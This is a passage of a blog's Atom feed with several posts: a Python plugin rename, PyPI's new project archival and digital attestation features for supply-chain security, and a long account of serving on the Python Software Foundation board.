&lt;p&gt;If you install or upgrade &lt;code&gt;llm-claude-3&lt;/code&gt; you will now get &lt;code&gt;llm-anthropic&lt;/code&gt; instead, thanks to a tiny package on PyPI which depends on the new plugin name. I created that with my &lt;a href="https://github.com/simonw/pypi-rename"&gt;pypi-rename&lt;/a&gt; cookiecutter template.&lt;/p&gt;
&lt;p&gt;Here's the &lt;a href="https://github.com/simonw/llm-claude-3/issues/31"&gt;issue for the rename&lt;/a&gt;. I archived the &lt;a href="https://github.com/simonw/llm-claude-3"&gt;llm-claude-3 repository on GitHub&lt;/a&gt;, and got to use the brand new &lt;a href="https://simonwillison.net/2025/Jan/30/pypi-now-supports-project-archival/"&gt;PyPI archiving feature&lt;/a&gt; to archive the &lt;a href="https://pypi.org/project/llm-claude-3/"&gt;llm-claude-3 project on PyPI&lt;/a&gt; as well.


    &lt;p&gt;Tags: &lt;a href="https://simonwillison.net/tags/plugins"&gt;plugins&lt;/a&gt;, &lt;a href="https://simonwillison.net/tags/pypi"&gt;pypi&lt;/a&gt;, &lt;a href="https://simonwillison.net/tags/python"&gt;python&lt;/a&gt;, &lt;a href="https://simonwillison.net/tags/ai"&gt;ai&lt;/a&gt;, &lt;a href="https://simonwillison.net/tags/generative-ai"&gt;generative-ai&lt;/a&gt;, &lt;a href="https://simonwillison.net/tags/llms"&gt;llms&lt;/a&gt;, &lt;a href="https://simonwillison.net/tags/llm"&gt;llm&lt;/a&gt;, &lt;a href="https://simonwillison.net/tags/anthropic"&gt;anthropic&lt;/a&gt;, &lt;a href="https://simonwillison.net/tags/claude"&gt;claude&lt;/a&gt;&lt;/p&gt;



</summary><category term="plugins"/><category term="pypi"/><category term="python"/><category term="ai"/><category term="generative-ai"/><category term="llms"/><category term="llm"/><category term="anthropic"/><category term="claude"/></entry><entry><title>PyPI now supports project archival</title><link href="https://simonwillison.net/2025/Jan/30/pypi-now-supports-project-archival/#atom-tag" rel="alternate"/><published>2025-01-30T16:46:34+00:00</published><updated>2025-01-30T16:46:34+00:00</updated><id>https://simonwillison.net/2025/Jan/30/pypi-now-supports-project-archival/#atom-tag</id><summary type="html">
    
&lt;p&gt;&lt;strong&gt;&lt;a href="https://blog.pypi.org/posts/2025-01-30-archival/"&gt;PyPI now supports project archival&lt;/a&gt;&lt;/strong&gt;&lt;/p&gt;
Neat new PyPI feature, similar to GitHub's &lt;a href="https://docs.github.com/en/repositories/archiving-a-github-repository/archiving-repositories"&gt;archiving repositories&lt;/a&gt; feature. You can now mark a PyPI project as "archived", making it clear that no new releases are planned (though you can switch back out of that mode later if you need to).&lt;/p&gt;
&lt;p&gt;I like the sound of these future plans around this topic:&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;Project archival is the first step in a larger project, aimed at improving the &lt;em&gt;lifecycle&lt;/em&gt; of projects on PyPI. That project includes evaluating additional project statuses (things like "deprecated" and "unmaintained"), as well as changes to &lt;a href="https://docs.pypi.org/api/"&gt;PyPI's public APIs&lt;/a&gt; that will enable clients to retrieve and act on project status information. You can track our progress on these fronts by following along with &lt;a href="https://github.com/pypi/warehouse/issues/16844"&gt;warehouse#16844&lt;/a&gt;!&lt;/p&gt;
&lt;/blockquote&gt;


    &lt;p&gt;Tags: &lt;a href="https://simonwillison.net/tags/pypi"&gt;pypi&lt;/a&gt;, &lt;a href="https://simonwillison.net/tags/python"&gt;python&lt;/a&gt;, &lt;a href="https://simonwillison.net/tags/psf"&gt;psf&lt;/a&gt;&lt;/p&gt;



</summary><category term="pypi"/><category term="python"/><category term="psf"/></entry><entry><title>Security means securing people where they are</title><link href="https://simonwillison.net/2024/Nov/19/securing-people-where-they-are/#atom-tag" rel="alternate"/><published>2024-11-19T01:36:35+00:00</published><updated>2024-11-19T01:36:35+00:00</updated><id>https://simonwillison.net/2024/Nov/19/securing-people-where-they-are/#atom-tag</id><summary type="html">
    
&lt;p&gt;&lt;strong&gt;&lt;a href="https://blog.yossarian.net/2024/11/18/Security-means-securing-people-where-they-are"&gt;Security means securing people where they are&lt;/a&gt;&lt;/strong&gt;&lt;/p&gt;
William Woodruff is an Engineering Director at Trail of Bits who worked on the recent PyPI &lt;a href="https://simonwillison.net/2024/Nov/14/pypi-digital-attestations/"&gt;digital attestations project&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;That feature is based around open standards but launched with an implementation against GitHub, which resulted in push back (and even some conspiracy theories) that PyPI were deliberately favoring GitHub over other platforms.&lt;/p&gt;
&lt;p&gt;William argues here for pragmatism over ideology:&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;Being serious about security at scale means &lt;strong&gt;meeting users where they are&lt;/strong&gt;. In practice, this means deciding how to divide a &lt;strong&gt;limited pool of engineering resources&lt;/strong&gt; such that the &lt;strong&gt;largest demographic of users benefits&lt;/strong&gt; from a security initiative. This results in a &lt;strong&gt;fundamental bias&lt;/strong&gt; towards institutional and pre-existing services, since the average user belongs to these institutional services and does not personally particularly care about security. Participants in open source &lt;strong&gt;can and should&lt;/strong&gt; work to counteract this institutional bias, but doing so as a matter of &lt;strong&gt;ideological purity undermines our shared security interests.&lt;/strong&gt;&lt;/p&gt;
&lt;/blockquote&gt;

    &lt;p&gt;&lt;small&gt;&lt;/small&gt;Via &lt;a href="https://lobste.rs/s/tw8f63/security_means_securing_people_where"&gt;lobste.rs&lt;/a&gt;&lt;/small&gt;&lt;/p&gt;


    &lt;p&gt;Tags: &lt;a href="https://simonwillison.net/tags/github"&gt;github&lt;/a&gt;, &lt;a href="https://simonwillison.net/tags/pypi"&gt;pypi&lt;/a&gt;, &lt;a href="https://simonwillison.net/tags/python"&gt;python&lt;/a&gt;, &lt;a href="https://simonwillison.net/tags/security"&gt;security&lt;/a&gt;&lt;/p&gt;



</summary><category term="github"/><category term="pypi"/><category term="python"/><category term="security"/></entry><entry><title>PyPI now supports digital attestations</title><link href="https://simonwillison.net/2024/Nov/14/pypi-digital-attestations/#atom-tag" rel="alternate"/><published>2024-11-14T19:56:49+00:00</published><updated>2024-11-14T19:56:49+00:00</updated><id>https://simonwillison.net/2024/Nov/14/pypi-digital-attestations/#atom-tag</id><summary type="html">
    
&lt;p&gt;&lt;strong&gt;&lt;a href="https://blog.pypi.org/posts/2024-11-14-pypi-now-supports-digital-attestations/"&gt;PyPI now supports digital attestations&lt;/a&gt;&lt;/strong&gt;&lt;/p&gt;
Dustin Ingram:&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;PyPI package maintainers can now publish signed digital attestations when publishing, in order to further increase trust in the supply-chain security of their projects. Additionally, a new API is available for consumers and installers to verify published attestations.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;This has been in the works for a while, and is another component of PyPI's approach to supply chain security for Python packaging - see &lt;a href="https://peps.python.org/pep-0740/"&gt;PEP 740 – Index support for digital attestations&lt;/a&gt; for all of the underlying details.&lt;/p&gt;
&lt;p&gt;A key problem this solves is cryptographically linking packages published on PyPI to the exact source code that was used to build those packages. In the absence of this feature there are no guarantees that the &lt;code&gt;.tar.gz&lt;/code&gt; or &lt;code&gt;.whl&lt;/code&gt; file you download from PyPI hasn't been tampered with (to add malware, for example) in a way that's not visible in the published source code.&lt;/p&gt;
&lt;p&gt;These new attestations provide a mechanism for proving that a known, trustworthy build system was used to generate and publish the package, starting with its source code on GitHub.&lt;/p&gt;
&lt;p&gt;The good news is that if you're using the PyPI Trusted Publishers mechanism in GitHub Actions to publish packages, you're already using this new system. I wrote about that system in January: &lt;a href="https://simonwillison.net/2024/Jan/16/python-lib-pypi/"&gt;Publish Python packages to PyPI with a python-lib cookiecutter template and GitHub Actions&lt;/a&gt; - and hundreds of my own PyPI packages are already using that system, thanks to my various cookiecutter templates.&lt;/p&gt;
&lt;p&gt;Trail of Bits helped build this feature, and provide extra background about it on their own blog in &lt;a href="https://blog.trailofbits.com/2024/11/14/attestations-a-new-generation-of-signatures-on-pypi/"&gt;Attestations: A new generation of signatures on PyPI&lt;/a&gt;:&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;a href="https://github.com/pypa/gh-action-pypi-publish/releases/tag/v1.11.0"&gt;As of October 29&lt;/a&gt;, attestations are the default for anyone using Trusted Publishing via the &lt;a href="https://github.com/marketplace/actions/pypi-publish"&gt;PyPA publishing action for GitHub&lt;/a&gt;. That means roughly 20,000 packages can now attest to their provenance &lt;em&gt;by default&lt;/em&gt;, with no changes needed.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;They also built &lt;a href="https://trailofbits.github.io/are-we-pep740-yet/"&gt;Are we PEP 740 yet?&lt;/a&gt; (&lt;a href="https://github.com/trailofbits/are-we-pep740-yet/blob/a87a8895dd238d14af50aaa2675c81060aa52846/utils.py#L31-L72"&gt;key implementation here&lt;/a&gt;) to track the rollout of attestations across the 360 most downloaded packages from PyPI. It works by hitting URLs such as &lt;a href="https://pypi.org/simple/pydantic/"&gt;https://pypi.org/simple/pydantic/&lt;/a&gt; with a &lt;code&gt;Accept: application/vnd.pypi.simple.v1+json&lt;/code&gt; header - &lt;a href="https://gist.github.com/simonw/8cf8a850739e2865cf3b9a74e6461b28"&gt;here's the JSON that returns&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;I published an alpha package using Trusted Publishers last night and the &lt;a href="https://pypi.org/project/llm/0.18a0/#llm-0.18a0-py3-none-any.whl"&gt;files for that release&lt;/a&gt; are showing the new provenance information already:&lt;/p&gt;
&lt;p&gt;&lt;img alt="Provenance. The following attestation bundles were made for llm-0.18a0-py3-none-any.whl: Publisher: publish.yml on simonw/llm Attestations: Statement type: https://in-toto.io/Statement/v1 Predicate type: https://docs.pypi.org/attestations/publish/v1 Subject name: llm-0.18a0-py3-none-any.whl Subject digest: dde9899583172e6434971d8cddeb106bb535ae4ee3589cb4e2d525a4526976da Sigstore transparency entry: 148798240 Sigstore integration time: about 18 hours ago" src="https://static.simonwillison.net/static/2024/provenance.jpg" /&gt;&lt;/p&gt;
&lt;p&gt;Which links to &lt;a href="https://search.sigstore.dev/?logIndex=148798240"&gt;this Sigstore log entry&lt;/a&gt; with more details, including &lt;a href="https://github.com/simonw/llm/tree/041730d8b2bc12f62cfe41c44b62a03ef4790117"&gt;the Git hash&lt;/a&gt; that was used to build the package:&lt;/p&gt;
&lt;p&gt;&lt;img alt="X509v3 extensions:   Key Usage (critical):   - Digital Signature   Extended Key Usage:   - Code Signing   Subject Key Identifier:   - 4E:D8:B4:DB:C1:28:D5:20:1A:A0:14:41:2F:21:07:B4:4E:EF:0B:F1   Authority Key Identifier:     keyid: DF:D3:E9:CF:56:24:11:96:F9:A8:D8:E9:28:55:A2:C6:2E:18:64:3F   Subject Alternative Name (critical):     url:     - https://github.com/simonw/llm/.github/workflows/publish.yml@refs/tags/0.18a0   OIDC Issuer: https://token.actions.githubusercontent.com   GitHub Workflow Trigger: release   GitHub Workflow SHA: 041730d8b2bc12f62cfe41c44b62a03ef4790117   GitHub Workflow Name: Publish Python Package   GitHub Workflow Repository: simonw/llm   GitHub Workflow Ref: refs/tags/0.18a0   OIDC Issuer (v2): https://token.actions.githubusercontent.com   Build Signer URI: https://github.com/simonw/llm/.github/workflows/publish.yml@refs/tags/0.18a0   Build Signer Digest: 041730d8b2bc12f62cfe41c44b62a03ef4790117" src="https://static.simonwillison.net/static/2024/sigstore.jpg" /&gt;&lt;/p&gt;
&lt;p&gt;&lt;a href="https://www.sigstore.dev/"&gt;Sigstore&lt;/a&gt; is a transparency log maintained by &lt;a href="https://en.wikipedia.org/wiki/Open_Source_Security_Foundation"&gt;Open Source Security Foundation (OpenSSF)&lt;/a&gt;, a sub-project of the Linux Foundation.

    &lt;p&gt;&lt;small&gt;&lt;/small&gt;Via &lt;a href="https://news.ycombinator.com/item?id=42136375"&gt;Hacker News&lt;/a&gt;&lt;/small&gt;&lt;/p&gt;


    &lt;p&gt;Tags: &lt;a href="https://simonwillison.net/tags/github"&gt;github&lt;/a&gt;, &lt;a href="https://simonwillison.net/tags/packaging"&gt;packaging&lt;/a&gt;, &lt;a href="https://simonwillison.net/tags/pypi"&gt;pypi&lt;/a&gt;, &lt;a href="https://simonwillison.net/tags/python"&gt;python&lt;/a&gt;, &lt;a href="https://simonwillison.net/tags/github-actions"&gt;github-actions&lt;/a&gt;, &lt;a href="https://simonwillison.net/tags/psf"&gt;psf&lt;/a&gt;, &lt;a href="https://simonwillison.net/tags/supply-chain"&gt;supply-chain&lt;/a&gt;, &lt;a href="https://simonwillison.net/tags/dustin-ingram"&gt;dustin-ingram&lt;/a&gt;&lt;/p&gt;



</summary><category term="github"/><category term="packaging"/><category term="pypi"/><category term="python"/><category term="github-actions"/><category term="psf"/><category term="supply-chain"/><category term="dustin-ingram"/></entry><entry><title>Things I've learned serving on the board of the Python Software Foundation</title><link href="https://simonwillison.net/2024/Sep/18/board-of-the-python-software-foundation/#atom-tag" rel="alternate"/><published>2024-09-18T14:15:37+00:00</published><updated>2024-09-18T14:15:37+00:00</updated><id>https://simonwillison.net/2024/Sep/18/board-of-the-python-software-foundation/#atom-tag</id><summary type="html">
    &lt;p&gt;Two years ago &lt;a href="https://simonwillison.net/2022/Jul/30/psf-board/"&gt;I was elected&lt;/a&gt; to the board of directors for the &lt;a href="https://www.python.org/psf-landing/"&gt;Python Software Foundation&lt;/a&gt; - the PSF. I recently returned from the annual PSF board retreat (this one was in Lisbon, Portugal) and this feels like a good opportunity to write up some of the things I've learned along the way.&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;&lt;a href="#what-is-the-psf"&gt;What is the PSF?&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href="#the-psf-employs-staff"&gt;The PSF employs staff&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href="#a-lot-of-this-is-about-money"&gt;A lot of this is about money&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href="#the-psf-does-not-directly-develop-python-itself"&gt;The PSF does not directly develop Python itself&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href="#pypi-the-python-package-index"&gt;PyPI - the Python Package Index&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href="#pycon-is-a-key-commitment"&gt;PyCon is a key commitment&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href="#other-psf-activities"&gt;Other PSF activities&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href="#work-groups"&gt;Work Groups&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href="#acting-as-a-fiscal-sponsor"&gt;Acting as a fiscal sponsor&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href="#life-as-a-board-member"&gt;Life as a board member&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href="#the-kinds-of-things-the-board-talks-about"&gt;The kinds of things the board talks about&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href="#want-to-know-more-"&gt;Want to know more?&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;h4 id="what-is-the-psf"&gt;What is the PSF?&lt;/h4&gt;
&lt;p&gt;The PSF is a &lt;a href="https://en.wikipedia.org/wiki/501(c)(3)_organization"&gt;US 501(c)(3)&lt;/a&gt; non-profit organization with the following &lt;a href="https://www.python.org/psf/mission/"&gt;mission&lt;/a&gt;:&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;The mission of the Python Software Foundation is to promote, protect, and advance the Python programming language, and to support and facilitate the growth of a diverse and international community of Python programmers.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;That mission definition is &lt;em&gt;really important&lt;/em&gt;. Board members and paid staff come and go, but the mission remains constant - it's the single most critical resource to help make decisions about whether the PSF should be investing time, money and effort into an activity or not.&lt;/p&gt;
&lt;p&gt;The board's 501(c)(3) status is predicated on following the &lt;a href="https://www.python.org/psf/mission/"&gt;full expanded mission statement&lt;/a&gt;. When our finances get audited (we conduct an annual "friendly audit", which is considered best practice for organizations at our size), the auditors need to be able to confirm that we've been supporting that mission through our management of the tax-exempt funds that have been entrusted to us.&lt;/p&gt;
&lt;p&gt;This auditability is an interesting aspect of how 501(c)(3) organizations work, because it means you can donate funds to them and know that the IRS will ostensibly be ensuring that the money is spent in a way that supports their stated mission.&lt;/p&gt;
&lt;p&gt;Board members have fiduciary responsibility for the PSF. A good explanation of this can be found &lt;a href="https://boardsource.org/resources/fiduciary-responsibilities/"&gt;here on BoardSource&lt;/a&gt;, which also has other useful resources for understanding &lt;a href="https://boardsource.org/fundamental-topics-of-nonprofit-board-service/roles-responsibilities/"&gt;the roles and responsibilities&lt;/a&gt; of non-profit board members.&lt;/p&gt;
&lt;p&gt;(Developing at least a loose intuition for US tax law around non-profits is one of the many surprising things that are necessary to be an effective board member.)&lt;/p&gt;
&lt;h4 id="the-psf-employs-staff"&gt;The PSF employs staff&lt;/h4&gt;
&lt;p&gt;The PSF currently employs &lt;a href="https://www.python.org/psf/records/staff/"&gt;12 full-time staff members&lt;/a&gt;. Members of the board do not directly manage the activities of the staff - in fact board members telling staff what to do is highly inappropriate.&lt;/p&gt;
&lt;p&gt;Instead, the board is responsible for hiring an Executive Director - currently Deb Nicholson - who is then responsible for hiring and managing (directly or indirectly) those other staff members. The board is responsible for evaluating the Executive Director's performance.&lt;/p&gt;
&lt;p&gt;I joined the board shortly after Deb was hired, so I have not personally been part of a board hiring committee for a new Executive Director.&lt;/p&gt;
&lt;p&gt;While paid staff support and enact many of the activities of the PSF, the foundation is fundamentally a volunteer-based organization. Many PSF activities are carried out by &lt;a href="https://www.python.org/psf/volunteer/"&gt;these volunteers&lt;/a&gt;, in particular via &lt;a href="#work-groups"&gt;Work Groups&lt;/a&gt;.&lt;/p&gt;
&lt;h4 id="a-lot-of-this-is-about-money"&gt;A lot of this is about money&lt;/h4&gt;
&lt;p&gt;A grossly simplified way to think about the PSF is that it's a bucket of money that is raised from &lt;a href="https://www.python.org/psf/sponsors/"&gt;sponsors&lt;/a&gt; and the Python community (via donations and membership fees), and then spent to support the community and the language in different ways.&lt;/p&gt;
&lt;p&gt;The PSF spends money on staff, on grants to Python-related causes and on infrastructure and activities that support Python development and the Python community itself.&lt;/p&gt;
&lt;p&gt;You can see how that money has been spent in the &lt;a href="https://www.python.org/psf/annual-report/2023/"&gt;2023 Annual Impact Report&lt;/a&gt;. The PSF had $4,356,000 revenue for that year and spent $4,508,000 - running a small loss, but not a concerning one given our assets from previous years.&lt;/p&gt;
&lt;p&gt;The most significant categories of expenditure in 2023 were PyCon US ($1,800,000), our Grants program ($677,000), Infrastructure (including PyPI) ($286,000) and our Fiscal Sponsorees ($204,000) - I'll describe these in more detail below.&lt;/p&gt;
&lt;h4 id="the-psf-does-not-directly-develop-python-itself"&gt;The PSF does not directly develop Python itself&lt;/h4&gt;
&lt;p&gt;This is an important detail to understand. The PSF is responsible for protecting and supporting the Python language and community, but development of &lt;a href="https://github.com/python/cpython"&gt;CPython&lt;/a&gt; itself is not directly managed by the PSF.&lt;/p&gt;
&lt;p&gt;Python development is handled by the &lt;a href="https://devguide.python.org/core-developers/developer-log/"&gt;Python core team&lt;/a&gt;, who are governed by the 5-person &lt;a href="https://github.com/python/steering-council/blob/main/README.md"&gt;Python Steering Council&lt;/a&gt;. The Steering Council is elected by the core team. The process for becoming a core developer &lt;a href="https://devguide.python.org/core-developers/become-core-developer/"&gt;is described here&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;How this all works is defined by &lt;a href="https://peps.python.org/pep-0013/"&gt;PEP 13: Python Language Governance&lt;/a&gt; (and several subsequent PEPs). This structure was created - with much discussion - after Guido van Rossum stepped down from his role as Python BDFL in 2018.&lt;/p&gt;
&lt;p&gt;The PSF's executive director maintains close ties with the steering council, meeting with them 2-3 times a month. The PSF provides financial support for some Python core activities, such as infrastructure used for Python development and sponsoring travel to and logistics for core Python sprints.&lt;/p&gt;
&lt;p&gt;More recently, the PSF has started employing Developers in Residence to directly support the work of both the core Python team and initiatives such as the Python Package Index.&lt;/p&gt;
&lt;h4 id="pypi-the-python-package-index"&gt;PyPI - the Python Package Index&lt;/h4&gt;
&lt;p&gt;One of the most consequential projects directly managed by the PSF is &lt;a href="https://pypi.org/"&gt;PyPI&lt;/a&gt;, the Python Package Index. This is the system that enables &lt;code&gt;pip install name-of-package&lt;/code&gt; to do its thing.&lt;/p&gt;
&lt;p&gt;Having PyPI managed by a non-profit that answers directly to the community it serves is a very good thing.&lt;/p&gt;
&lt;p&gt;PyPI's numbers are staggering. Today there are 570,000 projects consisting of 12,035,133 files, serving 1.9 billion downloads a day (that number from &lt;a href="https://pypistats.org/packages/__all__"&gt;PyPI Stats&lt;/a&gt;). Bandwidth for these downloads is donated by &lt;a href="https://www.fastly.com/"&gt;Fastly&lt;/a&gt;, a PSF Visionary Sponsor who recently signed &lt;a href="https://fosstodon.org/@ThePSF/112456715341751673"&gt;a five year agreement&lt;/a&gt; to continue this service.&lt;/p&gt;
&lt;p&gt;(This was a big deal - prior to that agreement there was concern over what would happen if Fastly ever decided to end that sponsorship.)&lt;/p&gt;
&lt;h4 id="pycon-is-a-key-commitment"&gt;PyCon is a key commitment&lt;/h4&gt;
&lt;p&gt;The annual US Python Conference - &lt;a href="https://us.pycon.org/"&gt;PyCon US&lt;/a&gt; - is a big part of the PSF's annual activities and operations. With over 3,000 attendees each year (and a $1.8m budget for 2023) running that conference represents a full-time job for several PSF staff members.&lt;/p&gt;
&lt;p&gt;In the past PyCon US has also been responsible for the majority of the PSF's operating income. This is no longer true today - in fact it ran at a slight loss this year. This is not a big problem: the PSF's funding has diversified, and the importance of PyCon US to the Python community is such that the PSF is happy to lose money running the event if necessary.&lt;/p&gt;
&lt;h4 id="other-psf-activities"&gt;Other PSF activities&lt;/h4&gt;
&lt;p&gt;Many of these are detailed in &lt;a href="https://www.python.org/psf/mission/"&gt;the full mission statement&lt;/a&gt;.&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Operating &lt;a href="https://www.python.org/"&gt;python.org&lt;/a&gt; and making Python available to download. It's interesting to note that Python is distributed through many alternative routes that are not managed by the PSF - through Linux packaging systems like Ubuntu, Debian and Red Hat, via tools like Docker or Homebrew, by companies such as &lt;a href="https://www.anaconda.com/download"&gt;Anaconda&lt;/a&gt; or through newer channels such as &lt;a href="https://docs.astral.sh/uv/guides/install-python/"&gt;uv&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;Owning and protecting the Python trademarks and the Python intellectual property rights under the (&lt;a href="https://opensource.org/license/python-2-0"&gt;OSI compliant&lt;/a&gt;) Python license. This is one of the fundamental reasons for the organization to exist, but thankfully is one of the smaller commitments in terms of cost and staff time.&lt;/li&gt;
&lt;li&gt;Running the annual PyCon US conference.&lt;/li&gt;
&lt;li&gt;Operating the Python Packaging Index. Fastly provide the CDN, but the PSF still takes on the task of developing and operating the core PyPI web application and the large amounts of moderation and user support that entails.&lt;/li&gt;
&lt;li&gt;Supporting infrastructure used for core Python development, and logistics for core Python sprints.&lt;/li&gt;
&lt;li&gt;Issuing grants to Python community efforts.&lt;/li&gt;
&lt;li&gt;Caring for fiscal sponsorees.&lt;/li&gt;
&lt;li&gt;Supporting the work of PSF Work Groups.&lt;/li&gt;
&lt;/ul&gt;
&lt;h4 id="work-groups"&gt;Work Groups&lt;/h4&gt;
&lt;p&gt;A number of PSF initiatives take place in the form of Work Groups, &lt;a href="https://www.python.org/psf/workgroups/"&gt;listed here&lt;/a&gt;. Work Groups are teams of volunteers from the community who collaborate on projects relevant to the PSF's mission.&lt;/p&gt;
&lt;p&gt;Each Work Group sets its own cadence and ways of working. Some groups have decisions delegated to them by the board - for example the Grants Work Group for reviewing grant proposals and the Code of Conduct Work Group for enforcing Code of Conduct activity. Others coordinate technical projects such as the &lt;a href="https://wiki.python.org/psf/InfrastructureWG"&gt;Infrastructure Working Group&lt;/a&gt;, who manage and make decisions on various pieces of technical infrastructure relevant to Python and the PSF.&lt;/p&gt;
&lt;p&gt;Work Groups are formed by a board vote, with a designated charter. Most recently the board approved &lt;a href="https://github.com/psf/user-success-wg/blob/main/WG-charter.md"&gt;a charter&lt;/a&gt; for a new User Success Work Group, focusing on things like improving the new Python user onboarding experience.&lt;/p&gt;
&lt;h4 id="acting-as-a-fiscal-sponsor"&gt;Acting as a fiscal sponsor&lt;/h4&gt;
&lt;p&gt;This is another term I was unfamiliar with before joining the board: the idea of a &lt;strong&gt;fiscal sponsor&lt;/strong&gt;, which is a key role played by the PSF.&lt;/p&gt;
&lt;p&gt;Running a non-profit organization is decidedly non-trivial: you need a legal structure, a bank account, accounting, governance, the ability to handle audits - there's a whole lot of complexity behind the scenes.&lt;/p&gt;
&lt;p&gt;Looking to run an annual community conference? You'll need a bank account, and an entity that can sign agreements with venues and vendors.&lt;/p&gt;
&lt;p&gt;Want to accept donations to support work you are doing? Again, you need an entity, and a bank account, and some form of legal structure that ensures your donors can confidently trust you with their money.&lt;/p&gt;
&lt;p&gt;Instead of forming a whole new non-profit for this, you can instead find an existing non-profit that is willing to be your "fiscal sponsor". They'll handle the accounting and various other legal aspects, which allows you to invest your efforts in the distinctive work that you are trying to do.&lt;/p&gt;
&lt;p&gt;The PSF acts as a fiscal sponsor for a number of different organizations - 20 as-of the 2023 report - including PyLadies, Twisted, Pallets, Jazzband,  PyCascades and North Bay Python. The PSF's accounting team invest a great deal of effort in making all of this work.&lt;/p&gt;
&lt;p&gt;The PSF generally takes a 10% cut of donations to its fiscal sponsorees. This doesn't actually cover the full staffing cost of servicing these organizations, but this all still makes financial sense in terms of the PSF's mission to support the global Python community.&lt;/p&gt;
&lt;h4 id="life-as-a-board-member"&gt;Life as a board member&lt;/h4&gt;
&lt;p&gt;There are 12 board members. Elections are held every year after PyCon US, voted on by the PSF membership - by both paid members and members who have earned voting rights through being acknowledged as PSF fellows.&lt;/p&gt;
&lt;p&gt;Board members are elected for three year terms. Since 1-3 new board members are likely to join annually, these terms ensure there is overlap which helps maintain institutional knowledge about how the board operates.&lt;/p&gt;
&lt;p&gt;The board's activities are governed by &lt;a href="https://www.python.org/psf/bylaws/"&gt;the PSF Bylaws&lt;/a&gt;, and there is a documented process for modifying them (see ARTICLE XI).&lt;/p&gt;
&lt;p&gt;We have board members from all over the world. This is extremely important, because the PSF is responsible for the health and growth of the global Python community. A perennial concern is how to ensure that board candidates are nominated from around the world, in order to maintain that critical global focus.&lt;/p&gt;
&lt;p&gt;The board meets once a month over Zoom, has ongoing conversations via Slack and meets in-person twice a year: once at PyCon US and once at a "retreat" in a different global city, selected to try and minimize the total amount of travel needed to get all of our global board members together in the same place.&lt;/p&gt;
&lt;p&gt;Our most recent retreat was in Lisbon, Portugal. The retreat before that was in Malmö in Sweden.&lt;/p&gt;
&lt;p&gt;I considered using an analogy that describes each board member as 1/12th of the "brain" of the PSF, but that doesn't hold up: the paid, full-time staff of the PSF make an enormous number of decisions that impact how the PSF works.&lt;/p&gt;
&lt;p&gt;Instead, the board acts to set strategy, represent the global community and help ensure that the PSF's activities are staying true to that mission. Like I said earlier, the mission definition really is &lt;em&gt;critical&lt;/em&gt;. I admit that in the past I've been a bit cynical about the importance of mission statements: being a board member of a 501(c)(3) non-profit has entirely cured me of that skepticism!&lt;/p&gt;
&lt;p&gt;Board members can also sit on board committees, of which there are currently four: the Executive Committee, Finance Committee, PyCon US Committee and Membership Committee. These mainly exist so that relevant decisions can be delegated to them, helping reduce the topics that must be considered by the full board in our monthly meetings.&lt;/p&gt;
&lt;h4 id="the-kinds-of-things-the-board-talks-about"&gt;The kinds of things the board talks about&lt;/h4&gt;
&lt;p&gt;Our Lisbon retreat involved two full 9-hour days of discussion, plus social breakfasts, lunches and dinners. It was an &lt;em&gt;intense&lt;/em&gt; workload.&lt;/p&gt;
&lt;p&gt;I won't even attempt to do it justice here, but I'll use a couple of topics to illustrate the kind of things we think about on the board.&lt;/p&gt;
&lt;p&gt;The first is our &lt;strong&gt;grants strategy&lt;/strong&gt;. The PSF financially sponsors Python community events around the world. In the past this grants program has suffered from low visibility and, to simplify, we've felt that we weren't giving away enough money.&lt;/p&gt;
&lt;p&gt;Over the past year we've fixed that: board outreach around the grants program and initiatives such as grants office hours have put our grants program in a much healthier position... but potentially &lt;em&gt;too&lt;/em&gt; healthy.&lt;/p&gt;
&lt;p&gt;We took steps to improve that visibily and streamline that process, and they worked! This gives us a new problem: we now have no shortage of applicants, so we need to figure out how to stick within a budget that won't harm the financial sustainability of the PSF itself.&lt;/p&gt;
&lt;p&gt;Does this mean we say no to more events? Should we instead reduce the size of our grants? Can we take other initiatives, like more actively helping events find alternative forms of sponsorship?&lt;/p&gt;
&lt;p&gt;Grants shouldn't just be about events - but if we're making grants to other initiatives that support the Python community how can we fairly select those, manage the budget allocated to supporting them and maximize the value the Python community gets from the money managed by the PSF?&lt;/p&gt;
&lt;p&gt;A much larger topic for the retreat was &lt;strong&gt;strategic planning&lt;/strong&gt;. What should our goals be for the PSF that can't be achieved over a short period of time? Projects and initiatives that might require a one-year, three-year or five-year margin of planning.&lt;/p&gt;
&lt;p&gt;Director terms only last three years (though board members can and frequently do stand for re-election), so having these long-term goals planned and documented in detail is crucial.&lt;/p&gt;
&lt;p&gt;A five-year plan is not something that can be put together over two days of work, but the in-person meeting is a fantastic opportunity to kick things off and ensure each board member gets to participate in shaping that process.&lt;/p&gt;
&lt;h4 id="want-to-know-more-"&gt;Want to know more?&lt;/h4&gt;
&lt;p&gt;The above is by no means a comprehensive manual to the PSF, but it's a good representation of the things I would have found most valuable to understand when I first got involved with the organization.&lt;/p&gt;
